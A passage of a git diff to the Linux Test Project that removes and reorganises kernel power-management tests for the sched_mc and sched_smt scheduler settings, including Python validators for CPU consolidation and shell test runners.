sorted(cpu_map.keys()): - pkg_cpus = cpu_map[pkg] - if len(cpu_group) == len(pkg_cpus): - if pkg_cpus == cpu_group: - return(0) - else: - if int(cpus_utilized[0]) in cpu_map[pkg] or int(cpus_utilized[1]) in cpu_map[pkg]: - return(0) - - return(1) - - except Exception as details: - print("Exception in validate_cpugrp_map: ", details) - sys.exit(1) - - -def verify_sched_domain_dmesg(sched_mc_level, sched_smt_level): - ''' - Read sched domain information from dmesg. - ''' - cpu_group = list() - try: - dmesg_info = os.popen('dmesg').read() - if dmesg_info != "": - lines = dmesg_info.split('\n') - for i in range(0, len(lines)): - if lines[i].endswith('CPU'): - groups = lines[i+1].split("groups:") - group_info = groups[1] - if group_info.find("(") != -1: - openindex=group_info.index("(") - closeindex=group_info.index(")") - group_info=group_info.replace\ - (group_info[openindex:closeindex+1],"") - - subgroup = group_info.split(",") - for j in range(0, len(subgroup)): - cpu_group = expand_range(subgroup[j]) - status = validate_cpugrp_map(cpu_group, sched_mc_level,\ - sched_smt_level) - if status == 1: - if is_quad_core() == 1: - if int(sched_mc_level) == 0: - return(0) - else: - return(1) - else: - return(1) - return(0) - else: - return(1) - except Exception as details: - print("Reading dmesg failed", details) - sys.exit(1) - -def get_cpu_utilization(cpu): - ''' Return cpu utilization of cpu_id - ''' - try: - for l in sorted(stats_percentage.keys()): - if cpu == stats_percentage[l][0]: - return stats_percentage[l][1] - return -1 - except Exception as details: - print("Exception in get_cpu_utilization", details) - sys.exit(1) - -def validate_cpu_consolidation(stress, work_ld, sched_mc_level, sched_smt_level): - ''' Verify if cpu's on which threads executed belong to same - package - ''' - cpus_utilized = list() - threads = get_job_count(stress, work_ld, sched_smt_level) - try: - for l in sorted(stats_percentage.keys()): - #modify threshold - cpu_id = stats_percentage[l][0].split("cpu") - if cpu_id[1] == '': - continue - if int(cpu_id[1]) in cpus_utilized: - continue - if is_hyper_threaded(): - if work_ld == "kernbench" and sched_smt_level < sched_mc_level: - siblings = get_siblings(cpu_id[1]) - if siblings != "": - sib_list = siblings.split() - utilization = int(stats_percentage[l][1]) - for i in range(0, len(sib_list)): - utilization += int(get_cpu_utilization("cpu%s" %sib_list[i])) - else: - utilization = stats_percentage[l][1] - if utilization > 40: - cpus_utilized.append(int(cpu_id[1])) - if siblings != "": - for i in range(0, len(sib_list)): - cpus_utilized.append(int(sib_list[i])) - else: - # This threshold wuld be modified based on results - if stats_percentage[l][1] > 40: - cpus_utilized.append(int(cpu_id[1])) - else: - if work_ld == "kernbench" : - if stats_percentage[l][1] > 50: - cpus_utilized.append(int(cpu_id[1])) - else: - if stats_percentage[l][1] > 70: - cpus_utilized.append(int(cpu_id[1])) - cpus_utilized.sort() - print("INFO: CPU's utilized ", cpus_utilized) - - # If length of CPU's utilized is not = number of jobs exit with 1 - if len(cpus_utilized) < threads: - return 1 - - status = validate_cpugrp_map(cpus_utilized, sched_mc_level, \ - sched_smt_level) - if status == 1: - print("INFO: CPUs utilized is not in same package or core") - - return(status) - except Exception as details: - print("Exception in validate_cpu_consolidation: ", details) - sys.exit(1) - -def get_cpuid_max_intr_count(): - '''Return the cpu id's of two cpu's with highest number of intr''' - try: - highest = 0 - second_highest = 0 - cpus_utilized = [] - - #Skipping CPU0 as it is generally high - for i in range(1, cpu_count): - if int(intr_stop[i]) > int(highest): - if highest != 0: - second_highest = highest - cpu2_max_intr = cpu1_max_intr - highest = int(intr_stop[i]) - cpu1_max_intr = i - else: - if int(intr_stop[i]) > int(second_highest): - second_highest = int(intr_stop[i]) - cpu2_max_intr = i - cpus_utilized.append(cpu1_max_intr) - cpus_utilized.append(cpu2_max_intr) - - for i in range(1, cpu_count): - if i != cpu1_max_intr and i != cpu2_max_intr: - diff = second_highest - intr_stop[i] - ''' Threshold of difference has to be manipulated ''' - if diff < 10000: - print("INFO: Diff in interrupt count is below threshold") - cpus_utilized = [] - return cpus_utilized - print("INFO: Interrupt count in other CPU's low as expected") - return cpus_utilized - except Exception as details: - print("Exception in get_cpuid_max_intr_count: ", details) - sys.exit(1) - -def validate_ilb (sched_mc_level, sched_smt_level): - ''' Validate if ilb is running in same package where work load is running - ''' - try: - cpus_utilized = get_cpuid_max_intr_count() - if not cpus_utilized: - return 1 - - status = validate_cpugrp_map(cpus_utilized, sched_mc_level, sched_smt_level) - return status - except Exception as details: - print("Exception in validate_ilb: ", details) - sys.exit(1) - -def reset_schedmc(): - ''' Routine to reset sched_mc_power_savings to Zero level - ''' - try: - os.system('echo 0 > \ - /sys/devices/system/cpu/sched_mc_power_savings 2>/dev/null') - except OSError as e: - print("Could not set sched_mc_power_savings to 0", e) - sys.exit(1) - -def reset_schedsmt(): - ''' Routine to reset sched_smt_power_savings to Zero level - ''' - try: - os.system('echo 0 > \ - /sys/devices/system/cpu/sched_smt_power_savings 2>/dev/null') - except OSError as e: - print("Could not set sched_smt_power_savings to 0", e) - sys.exit(1) - -def stop_wkld(work_ld): - ''' Kill workload triggered in background - ''' - try: - os.system('pkill %s 2>/dev/null' %work_ld) - if work_ld == "kernbench": - os.system('pkill make 2>/dev/null') - except OSError as e: - print("Exception in stop_wkld", e) - sys.exit(1) diff --git a/ltp/testcases/kernel/power_management/pm_cpu_consolidation.py b/ltp/testcases/kernel/power_management/pm_cpu_consolidation.py deleted file mode 100755 index a01db004..00000000 --- a/ltp/testcases/kernel/power_management/pm_cpu_consolidation.py +++ /dev/null @@ -1,143 +0,0 @@ -#!/usr/bin/env python3 -''' This Python script interprets various sched stats values. - Validates cpu consolidation for given sched_mc_power_saving value -''' - -import os -import sys -import time -from optparse import OptionParser -from pm_sched_mc import * - -__author__ = "Poornima Nayak <mpnayak@linux.vnet.ibm.com>" - -class Usage(Exception): - def __init__(self, msg): - self.msg = msg - -def main(argv=None): - if argv is None: - argv = sys.argv - - usage = "-w" - parser = OptionParser(usage) - parser.add_option("-v", "--variation_test", dest="vary_mc_smt", - default=False, action="store_true", help="Vary sched_mc & sched_smt. \ - -c and -t inputs are initial value of sched_mc & sched_smt") - parser.add_option("-c", "--mc_value", dest="mc_value", - default=0, help="Sched mc power saving value 0/1/2") - parser.add_option("-t", "--smt_value", dest="smt_value", - default=0, help="Sched smt power saving value 0/1/2") - parser.add_option("-w", "--workload", dest="work_ld", - default="ebizzy", help="Workload can be ebizzy/kernbench") - parser.add_option("-s", "--stress", dest="stress", - default="partial", help="Load on system is full/partial [i.e 50%]/thread") - parser.add_option("-p", "--performance", dest="perf_test", - default=False, action="store_true", help="Enable performance test") - (options, args) = parser.parse_args() - - try: - count_num_cpu() - count_num_sockets() - if is_hyper_threaded(): - generate_sibling_list() - - # User should set option -v to test cpu consolidation - # resets when sched_mc &(/) sched_smt is disabled when - # workload is already running in the system - - if options.vary_mc_smt: - - # Since same code is used for testing package consolidation and core - # consolidation is_multi_socket & is_hyper_threaded check is done - if is_multi_socket() and is_multi_core() and options.mc_value: - set_sched_mc_power(options.mc_value) - - if is_hyper_threaded() and options.smt_value: - set_sched_smt_power(options.smt_value) - - #Generate arguments for trigger workload, run workload in background - map_cpuid_pkgid() - background="yes" - duration=360 - pinned="no" - if int(options.mc_value) < 2 and int(options.smt_value) < 2: - trigger_ebizzy (options.smt_value, "partial", duration, background, pinned) - work_ld="ebizzy" - #Wait for 120 seconds and then validate cpu consolidation works - #When sched_mc & sched_smt is set - import time - time.sleep(120) - else: - #Wait for 120 seconds and then validate cpu consolidation works - #When sched_mc & sched_smt is set - trigger_kernbench (options.smt_value, "partial", background, pinned, "no") - work_ld="kernbench" - import time - time.sleep(300) - - generate_report() - status = validate_cpu_consolidation("partial", work_ld, options.mc_value, options.smt_value) - if status == 0: - print("INFO: Consolidation worked sched_smt &(/) sched_mc is set") - #Disable sched_smt & sched_mc interface values - if options.vary_mc_smt and options.mc_value > 0: - set_sched_mc_power(0) - mc_value = options.mc_value - else: - mc_value = 0 - if options.vary_mc_smt and options.smt_value > 0 and is_hyper_threaded(): - set_sched_smt_power(0) - smt_value = options.smt_value - else: - smt_value = 0 - - if work_ld == "kernbench": - time.sleep(240) - else: - time.sleep(120) - - generate_report() - status = validate_cpu_consolidation("partial", work_ld, mc_value, smt_value) - if background == "yes": - stop_wkld(work_ld) - #CPU consolidation should fail as sched_mc &(/) sched_smt is disabled - if status == 1: - return(0) - else: - return(1) - else: - print("INFO: CPU consolidation failed when sched_mc &(/) \ -sched_smt was enabled. This is pre-requisite to proceed") - return(status) - else: - #The else part of the code validates behaviour of sched_mc - # and sched_smt set to 0, 1 & 2 - if is_multi_socket(): - set_sched_mc_power(options.mc_value) - if is_hyper_threaded(): - set_sched_smt_power(options.smt_value) - map_cpuid_pkgid() - print("INFO: Created table mapping cpu to package") - background="no" - duration=60 - pinned ="no" - - if options.perf_test: - perf_test="yes" - else: - perf_test="no" - - trigger_workld( options.smt_value, options.work_ld, options.stress, duration, background, pinned, perf_test) - generate_report() - status = validate_cpu_consolidation(options.stress, options.work_ld,options.mc_value, options.smt_value) - reset_schedmc() - if is_hyper_threaded(): - reset_schedsmt() - return(status) - except Exception as details: - print("INFO: CPU consolidation failed", details) - return(1) - -if __name__ == "__main__": - sys.exit(main()) diff --git a/ltp/testcases/kernel/power_management/pm_get_sched_values.c b/ltp/testcases/kernel/power_management/pm_get_sched_values.c deleted file mode 100644 index e75c5852..00000000 --- a/ltp/testcases/kernel/power_management/pm_get_sched_values.c +++ /dev/null @@ -1,36 +0,0 @@ -/************************************************************************ -* Copyright (c) International Business Machines Corp., 2008 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -***************************************************************************/ -#include <stdio.h> -#include "test.h" - -const char *TCID = "pm_get_sched_values"; - -int main(int argc, char **argv) -{ - char *param; - if (argc == 0) - return 1; - else { - param = argv[1]; - if (strcmp(param, "sched_mc") == 0) - return 2; - if (strcmp(param, "sched_smt") == 0) - return 2; - } - - return 1; -} diff --git a/ltp/testcases/kernel/power_management/pm_ilb_test.py b/ltp/testcases/kernel/power_management/pm_ilb_test.py deleted file mode 100755 index f2071709..00000000 --- a/ltp/testcases/kernel/power_management/pm_ilb_test.py +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/env python3 -''' This Python script interprets interrupt values. - Validates Ideal load balancer runs in same package where workload is running -''' - -import os -import sys -from optparse import OptionParser -from pm_sched_mc import * - -__author__ = "Poornima Nayak <mpnayak@linux.vnet.ibm.com>" - -class Usage(Exception): - def __init__(self, msg): - self.msg = msg - -def main(argv=None): - if argv is None: - argv = sys.argv - - usage = "-w" - parser = OptionParser(usage) - parser.add_option("-c", "--mc_level", dest="mc_level", - default=0, help="Sched mc power saving value 0/1/2") - parser.add_option("-t", "--smt_level", dest="smt_level", - default=0, help="Sched smt power saving value 0/1/2") - parser.add_option("-w", "--workload", dest="work_ld", - default="ebizzy", help="Workload can be ebizzy/kernbench") - (options, args) = parser.parse_args() - - try: - count_num_cpu() - count_num_sockets() - if is_multi_socket(): - set_sched_mc_power(options.mc_level) - if is_hyper_threaded(): - set_sched_smt_power(options.smt_level) - map_cpuid_pkgid() - print("INFO: Created table mapping cpu to package") - background="no" - duration=120 - pinned="yes" - - trigger_workld(options.smt_level,options.work_ld, "single_job", duration, background, pinned, "no") - generate_loc_intr_report() - status = validate_ilb(options.mc_level, options.smt_level) - reset_schedmc() - if is_hyper_threaded(): - reset_schedsmt() - return(status) - - except Exception as details: - print("INFO: Idle Load Balancer test failed", details) - return(1) - -if __name__ == "__main__": - sys.exit(main()) diff --git a/ltp/testcases/kernel/power_management/pm_include.sh b/ltp/testcases/kernel/power_management/pm_include.sh index b83324f6..4cc75aa9 100755 --- a/ltp/testcases/kernel/power_management/pm_include.sh +++ b/ltp/testcases/kernel/power_management/pm_include.sh @@ -1,19 +1,4 @@ -#!/bin/bash - -TMPDIR=/tmp - -PASS=0 -FAIL=1 -NOSUPPORT=2 -MISSING_FILE=3 -UNTESTED=4 -YES=0 - -cleanup() { - if [ -f ${1} ] ; then - rm -f ${1} - fi -} +#!/bin/sh check_arch() { case "$(uname -m)" in @@ -24,297 +9,3 @@ check_arch() { ;; esac } - -check_config_options() { - if ( ! ${3} "${1}" ${2} | grep -v "#" > /dev/null ) ; then - tst_brkm TCONF "NOSUPPORT: current system dosen't support ${1}" - fi -} - -get_topology() { - declare -a cpus - declare -a phyid - - total_cpus=`tst_ncpus` - (( total_cpus-=1 )) - for cpu in $(seq 0 "${total_cpus}" ) - do - cpus[$cpu]=cpu${cpu} - phyid[$cpu]=$(cat \ - /sys/devices/system/cpu/cpu${cpu}/topology/physical_package_id) - done - j=0 - while [ "${j}" -lt "${total_cpus}" ] - do - (( k = $j + 1 )) - if [ ${phyid[$j]} -eq ${phyid[$k]} ] ; then - echo "${cpus[$j]} -P ${cpus[$k]}" | sed -e "s/cpu//g" - fi - (( j+=1 )) - done -} - -check_cpufreq() { - total_cpus=`tst_ncpus` - (( total_cpus-=1 )) - - for cpu in $(seq 0 "${total_cpus}" ) - do - if [ ! -d /sys/devices/system/cpu/cpu${cpu}/cpufreq ] ; then - tst_brkm TCONF "NOSUPPORT: cpufreq support not " \ - "found please check Kernel configuration " \ - "or BIOS settings" - fi - done -} - -get_supporting_freq() { - cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_available_frequencies \ - | uniq -} - -get_supporting_govr() { - cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_available_governors \ - | uniq -} - -is_hyper_threaded() { - siblings=`grep siblings /proc/cpuinfo | uniq | cut -f2 -d':'` - cpu_cores=`grep "cpu cores" /proc/cpuinfo | uniq | cut -f2 -d':'` - [ $siblings -gt $cpu_cores ]; echo $? -} - -check_input() { - validity_check=${2:-valid} - testfile=$3 - if [ "${validity_check}" = "invalid" ] ; then - PASS="Testcase FAIL - Able to execute" - FAIL="Testcase PASS - Unable to execute" - else - PASS="Testcase PASS" - FAIL="Testcase FAIL" - fi - RC=0 - for input in ${1} - do - echo ${input} > ${test_file} 2>/dev/null - return_value=$? - output=$(cat ${test_file}) - if [ "${return_value}" = "0" -a "${input}" = "${output}" ] ; then - echo "${0}: ${PASS}: echo ${input} > ${test_file}" - if [ "${validity_check}" = "invalid" ] ; then - RC=1 - fi - else - echo "${0}: ${FAIL}: echo ${input} > ${test_file}" - if [ "${validity_check}" = "valid" ] ; then - RC=1 - fi - fi - done - return $RC -} - -is_multi_socket() { - no_of_sockets=`cat \ - /sys/devices/system/cpu/cpu*/topology/physical_package_id \ - | sort -u | wc -l` - [ $no_of_sockets -gt 1 ] ; echo $? -} - -is_multi_core() { - siblings=`grep siblings /proc/cpuinfo | uniq | cut -f2 -d':'` - cpu_cores=`grep "cpu cores" /proc/cpuinfo | uniq | cut -f2 -d':'` - if [ $siblings -eq $cpu_cores ]; then - [ $cpu_cores -gt 1 ]; echo $? - else - : $(( num_of_cpus = siblings / cpu_cores )) - [ $num_of_cpus -gt 1 ]; echo $? - fi -} - -is_dual_core() { - siblings=`grep siblings /proc/cpuinfo | uniq | cut -f2 -d':'` - cpu_cores=`grep "cpu cores" /proc/cpuinfo | uniq \ - | cut -f2 -d':'` - if [ $siblings -eq $cpu_cores ]; then - [ $cpu_cores -eq 2 ]; echo $? - else - : $(( num_of_cpus = siblings / cpu_cores )) - [ $num_of_cpus -eq 2 ]; echo $? - fi -} - -get_kernel_version() { - # Get kernel minor version - export kernel_version=`uname -r | awk -F. '{print $1"."$2"."$3}' \ - | cut -f1 -d'-'` -} - -get_valid_input() { - kernel_version=$1 - case "$kernel_version" in - '2.6.26' | '2.6.27' | '2.6.28') - export valid_input="0 1" ;; - *) export valid_input="0 1 2" ;; - esac -} - -analyze_result_hyperthreaded() { - sched_mc=$1 - pass_count=$2 - sched_smt=$3 - PASS="Test PASS" - FAIL="Test FAIL" - - RC=0 - case "$sched_mc" in - 0) - case "$sched_smt" in - 0) - if [ $pass_count -lt 5 ]; then - echo "${PASS}: cpu consolidation failed for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - else - RC=1 - echo "${FAIL}: cpu consolidation passed for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - fi - ;; - *) - if [ $pass_count -lt 5 ]; then - RC=1 - echo "${FAIL}: cpu consolidation for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - else - echo "${PASS}: cpu consolidation for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - fi - ;; - esac ;; - *) - if [ $pass_count -lt 5 ]; then - RC=1 - echo "${FAIL}: cpu consolidation for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - else - echo "${PASS}: cpu consolidation for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - fi - ;; - esac - return $RC -} - -analyze_package_consolidation_result() { - sched_mc=$1 - pass_count=$2 - - if [ $# -gt 2 ] - then - sched_smt=$3 - else - sched_smt=-1 - fi - - PASS="Test PASS" - FAIL="Test FAIL" - - RC=0 - if [ $hyper_threaded -eq $YES -a $sched_smt -gt -1 ]; then - analyze_result_hyperthreaded $sched_mc $pass_count $sched_smt - else - case "$sched_mc" in - 0) - if [ $pass_count -lt 5 ]; then - echo "${PASS}: cpu consolidation failed for" \ - "sched_mc=$sched_mc" - else - RC=1 - echo "${FAIL}: cpu consolidation passed for" \ - "sched_mc=$sched_mc" - fi - ;; - *) - if [ $pass_count -lt 5 ]; then - RC=1 - echo "${FAIL}: consolidation at package level" \ - "failed for sched_mc=$sched_mc" - else - echo "${PASS}: consolidation at package level" \ - "passed for sched_mc=$sched_mc" - fi - ;; - esac - fi - return $RC -} - -analyze_core_consolidation_result() { - sched_smt=$1 - pass_count=$2 - PASS="Test PASS" - FAIL="Test FAIL" - - RC=0 - case "$sched_smt" in - 0) - if [ $pass_count -lt 5 ]; then - echo "${PASS}: consolidation at core level failed" \ - "when sched_smt=$sched_smt" - else - RC=1 - echo "${FAIL}: consolidation at core level passed for" \ - "sched_smt=$sched_smt" - fi ;; - *) - if [ $pass_count -lt 5 ]; then - RC=1 - echo "${FAIL}: consolidation at core level failed for" \ - "sched_smt=$sched_smt" - else - echo "${PASS}: consolidation at core level passed for" \ - "sched_smt=$sched_smt" - fi ;; - esac - return $RC -} - -analyze_sched_domain_result(){ - sched_mc=$1 - result=$2 - sched_smt=$3 - PASS="Test PASS" - FAIL="Test FAIL" - - RC=0 - if [ $hyper_threaded -eq $YES ]; then - if [ $sched_smt ]; then - if [ "$result" = 0 ];then - echo "${PASS}: sched domain test for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - else - RC=1 - echo "${FAIL}: sched domain test for" \ - "sched_mc=$sched_mc & sched_smt=$sched_smt" - fi - else - if [ "$result" = 0 ];then - echo "${PASS}: sched domain test for" \ - "sched_mc=$sched_mc" - else - RC=1 - echo "${FAIL}: sched domain test for" \ - "sched_mc=$sched_mc" - fi - fi - else - if [ "$result" = 0 ];then - echo "${PASS}: sched domain test for sched_mc=$sched_mc" - else - RC=1 - echo "${FAIL}: sched domain test for sched_mc=$sched_mc" - fi - fi - return $RC -} diff --git a/ltp/testcases/kernel/power_management/pm_sched_domain.py b/ltp/testcases/kernel/power_management/pm_sched_domain.py deleted file mode 100755 index dddc4816..00000000 --- a/ltp/testcases/kernel/power_management/pm_sched_domain.py +++ /dev/null @@ -1,54 +0,0 @@ -#!/usr/bin/env python3 -''' This Python script validates sched domain information in dmesg - with information in sysfs topology -''' - -import os -import sys -from pm_sched_mc import * -from optparse import OptionParser - -__author__ = "Poornima Nayak <mpnayak@linux.vnet.ibm.com>" - -class Usage(Exception): - def __init__(self, msg): - self.msg = msg - -def main(argv=None): - if argv is None: - argv = sys.argv - - usage = "-w" - parser = OptionParser(usage) - parser.add_option("-c", "--mc_level", dest="mc_level", default=-1, - help="Sched mc power saving value 0/1/2") - parser.add_option("-t", "--smt_level", dest="smt_level", default=-1, - help="Sched smt power saving value 0/1/2") - (options, args) = parser.parse_args() - - try: - clear_dmesg() - count_num_cpu() - map_cpuid_pkgid() - - if is_hyper_threaded() and int(options.smt_level) >= 0: - set_sched_smt_power(options.smt_level) - - if int(options.mc_level) >= 0: - set_sched_mc_power(options.mc_level) - if int(options.smt_level) >= 0 or int(options.mc_level) >= 0: - status = verify_sched_domain_dmesg(options.mc_level, options.smt_level) - reset_schedmc() - if is_hyper_threaded(): - reset_schedsmt() - return(status) - else: - print("INFO: Invalid arguments given") - return 1 - except Exception as details: - print("INFO: sched domain test failed: ", details) - return(1) - -# Run test based on the command line arguments -if __name__ == "__main__": - sys.exit(main()) diff --git a/ltp/testcases/kernel/power_management/runpwtests01.sh b/ltp/testcases/kernel/power_management/runpwtests01.sh deleted file mode 100755 index 2caf9eab..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests01.sh +++ /dev/null @@ -1,71 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management01" -export TST_TOTAL=1 - -. test.sh -. pm_include.sh - -test_sched_mc() { - get_kernel_version - get_valid_input $kernel_version - - invalid_input="3 4 5 6 7 8 a abcefg x1999 xffff -1 -00000 - 2000000000000000000000000000000000000000000000000000000000000000000 - ox324 -0xfffffffffffffffffffff" - test_file="/sys/devices/system/cpu/sched_mc_power_savings" - if [ ! -f ${test_file} ] ; then - tst_brkm TBROK "MISSING_FILE: missing file ${test_file}" - fi - - RC=0 - echo "${0}: ---Valid test cases---" - check_input "${valid_input}" valid $test_file - RC=$? - echo "${0}: ---Invalid test cases---" - check_input "${invalid_input}" invalid $test_file - RC=$(( RC | $? )) - return $RC -} - -# Checking test environment -check_arch - -# Checking sched_mc sysfs interface -multi_socket=$(is_multi_socket) -multi_core=$(is_multi_core) -if [ ! -f /sys/devices/system/cpu/sched_mc_power_savings ] ; then - tst_brkm TCONF "Required kernel configuration for SCHED_MC" \ - "NOT set" -else - if [ $multi_socket -ne 0 -a $multi_core -ne 0 ] ; then - tst_brkm TCONF "sched_mc_power_savings interface in system" \ - "which is not a multi socket &(/) multi core" - fi -fi - -if test_sched_mc ; then - tst_resm TPASS "SCHED_MC sysfs tests" -else - tst_resm TFAIL "SCHED_MC sysfs tests" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests02.sh b/ltp/testcases/kernel/power_management/runpwtests02.sh deleted file mode 100755 index 805befb0..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests02.sh +++ /dev/null @@ -1,68 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management02" -export TST_TOTAL=1 - -. test.sh -. pm_include.sh - -test_sched_smt() { - get_kernel_version - get_valid_input $kernel_version - - invalid_input="3 4 5 6 7 8 a abcefg x1999 xffff -1 -00000 - 2000000000000000000000000000000000000000000000000000000000000000000000 - ox324 -0xfffffffffffffffffffff" - test_file="/sys/devices/system/cpu/sched_smt_power_savings" - if [ ! -f ${test_file} ] ; then - tst_brkm TBROK "MISSING_FILE: missing file ${test_file}" - fi - - echo "${0}: ---Valid test cases---" - check_input "${valid_input}" valid $test_file - RC=$? - echo "${0}: ---Invalid test cases---" - check_input "${invalid_input}" invalid $test_file - RC=$(( RC | $? )) - return $RC -} - -# Checking test environment -check_arch - -# Check sched_smt_power_savings interface on HT machines -hyper_threaded=$(is_hyper_threaded) -if [ ! -f /sys/devices/system/cpu/sched_smt_power_savings ] ; then - tst_brkm TCONF "Required kernel configuration for SCHED_SMT NOT set" -else - if [ $hyper_threaded -ne 0 ]; then - tst_brkm TCONF "sched_smt_power_saving interface in system" \ - "not hyper-threaded" - fi -fi - -if test_sched_smt ; then - tst_resm TPASS "SCHED_SMT sysfs test" -else - tst_resm TFAIL "SCHED_SMT sysfs test" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests03.sh b/ltp/testcases/kernel/power_management/runpwtests03.sh index 72ad2ad6..78e0a1b9 100755 --- a/ltp/testcases/kernel/power_management/runpwtests03.sh +++ b/ltp/testcases/kernel/power_management/runpwtests03.sh @@ -24,6 +24,16 @@ export TST_TOTAL=4 . test.sh . pm_include.sh +get_supporting_freq() { + cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_available_frequencies \ + | uniq +} + +get_supporting_govr() { + cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_available_governors \ + | uniq +} + check_cpufreq_sysfs_files() { total_cpus=`expr $(tst_ncpus) - 1` RC=0 @@ -115,9 +125,11 @@ pwkm_load_unload() { RC=0 loaded_governor=`cat \ /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor` - for module in `modprobe -l | grep cpufreq_ | \ - cut -f8 -d"/" | cut -f1 -d"."` - do + + modules=$(find /lib/modules/$(uname -r) -type f -name '*.ko*' | + grep cpufreq_ | cut -f8 -d"/" | cut -f1 -d".") + + for module in $modules; do #echo -n "Loading $module ... " if [ $module != "cpufreq_$loaded_governor" ]; then modprobe $module >/dev/null @@ -128,9 +140,8 @@ pwkm_load_unload() { fi fi done - for module in `modprobe -l | grep cpufreq_ | \ - cut -f8 -d"/" | cut -f1 -d"."` - do + + for module in $modules; do #echo -n "Unloading $module ... " if [ $module != "cpufreq_$loaded_governor" ]; then modprobe -r $module >/dev/null diff --git a/ltp/testcases/kernel/power_management/runpwtests05.sh b/ltp/testcases/kernel/power_management/runpwtests05.sh deleted file mode 100755 index 03b6752b..00000000 --- a/ltp/testcases/kernel/power_management/runpwtests05.sh +++ /dev/null @@ -1,76 +0,0 @@ -#! /bin/sh -# -# Copyright (c) International Business Machines Corp., 2001 -# Author: Nageswara R Sastry <nasastry@in.ibm.com> -# -# This program is free software; you can redistribute it and#or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -# for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software Foundation, -# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -# - -export TCID="Power_Management05" -export TST_TOTAL=2 - -. test.sh -. pm_include.sh - -# Checking test environment -check_arch - -max_sched_mc=2 -max_sched_smt=2 - -tst_require_cmds python3 - -if ! grep sched_debug -qw /proc/cmdline ; then - tst_brkm TCONF "Kernel cmdline parameter 'sched_debug' needed," \ - "CPU Consolidation test cannot run" -fi - -hyper_threaded=$(is_hyper_threaded) -if [ ! -f /sys/devices/system/cpu/sched_mc_power_savings \ - -o $hyper_threaded -ne 0 ] ; then - tst_brkm TCONF "Required kernel configuration for SCHED_MC" \ - "NOT set, or sched_mc_power_savings interface in system" \ - "which is not hyper-threaded" -fi - -# sched_domain test -echo "max sched mc $max_sched_mc" -RC=0 -for sched_mc in `seq 0 $max_sched_mc`; do - pm_sched_domain.py -c $sched_mc; ret=$? - analyze_sched_domain_result $sched_mc $ret; RC=$? -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "Sched_domain test for sched_mc" -else - tst_resm TFAIL "Sched_domain test for sched_mc" -fi - -# Testcase to validate sched_domain tree -RC=0 -for sched_mc in `seq 0 $max_sched_mc`; do - pm_get_sched_values sched_smt; max_sched_smt=$? - for sched_smt in `seq 0 $max_sched_smt`; do - pm_sched_domain.py -c $sched_mc -t $sched_smt; ret=$? - analyze_sched_domain_result $sched_mc $ret $sched_smt; RC=$? - done -done -if [ $RC -eq 0 ]; then - tst_resm TPASS "Sched_domain test for sched_mc & sched_smt" -else - tst_resm TFAIL "Sched_domain test for sched_mc & sched_smt" -fi - -tst_exit diff --git a/ltp/testcases/kernel/power_management/runpwtests06.sh b/ltp/testcases/kernel/power_management/runpwtests06.sh index 16e50a67..1638aaaf 100755 --- a/ltp/testcases/kernel/power_management/runpwtests06.sh +++ b/ltp/testcases/kernel/power_management/runpwtests06.sh @@ -24,6 +24,37 @@ export TST_TOTAL=1 . test.sh . pm_include.sh +check_input() { + validity_check=${2:-valid} + testfile=$3 + if [ "${validity_check}" = "invalid" ] ; then + PASS="Testcase FAIL - Able to execute" + FAIL="Testcase PASS - Unable to execute" + else + PASS="Testcase PASS" + FAIL="Testcase FAIL" + fi + RC=0 + for input in ${1} + do + echo ${input} > ${test_file} 